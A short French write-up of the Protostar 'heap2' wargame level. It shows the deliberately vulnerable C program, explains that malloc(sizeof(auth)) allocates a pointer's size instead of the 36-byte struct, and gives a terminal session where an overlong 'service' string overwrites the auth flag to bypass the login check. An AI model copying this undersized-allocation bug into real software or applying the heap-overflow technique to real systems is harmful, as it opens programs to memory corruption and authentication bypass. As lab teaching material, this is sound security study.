Heap2

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
struct auth {
	char name[32];
	int auth;
};
 
struct auth *auth;
char *service;
 
int main(int argc, char **argv)
{
	char line[128];
 
	while(1) {
		printf("[ auth = %p, service = %p ]\n", auth, service);
 
		if(fgets(line, sizeof(line), stdin) == NULL) break;
 
		if(strncmp(line, "auth ", 5) == 0) {
			auth = malloc(sizeof(auth));
			memset(auth, 0, sizeof(auth));
			if(strlen(line + 5) < 31) {
				strcpy(auth->name, line + 5);
			}
		}
		if(strncmp(line, "reset", 5) == 0) {
			free(auth);
		}
		if(strncmp(line, "service", 6) == 0) {
			service = strdup(line + 7);
		}
		if(strncmp(line, "login", 5) == 0) {
			if(auth->auth) {
				printf("you have logged in already!\n");
			} else {
				printf("please enter your password\n");
			}
		}
	}
}

On remarque (pas immédiatement si ça peut vous rassurer) que le malloc au niveau de auth n'est pas de la bonne taille. sizeof(auth) renvois 4, alors que nous devons allouer un buffer de 36 octets ! auth est en fait un pointeur, donc il fait 4 octets en mémoire, pour avoir la bonne taille, il aurait fallu mettre sizeof(struct auth).

On va donc pouvoir écrire grâce à la variable service par dessus là où devrait être notre variable auth de struct auth. Il faut savoir que la fonction strdup duplie une chaine dans un espace mémoire alloué à la bonne taille grâce à un malloc puis renvois l'adresse de ce buffer.

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth BBBB
[ auth = 0x804c008, service = (nil) ]
service AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!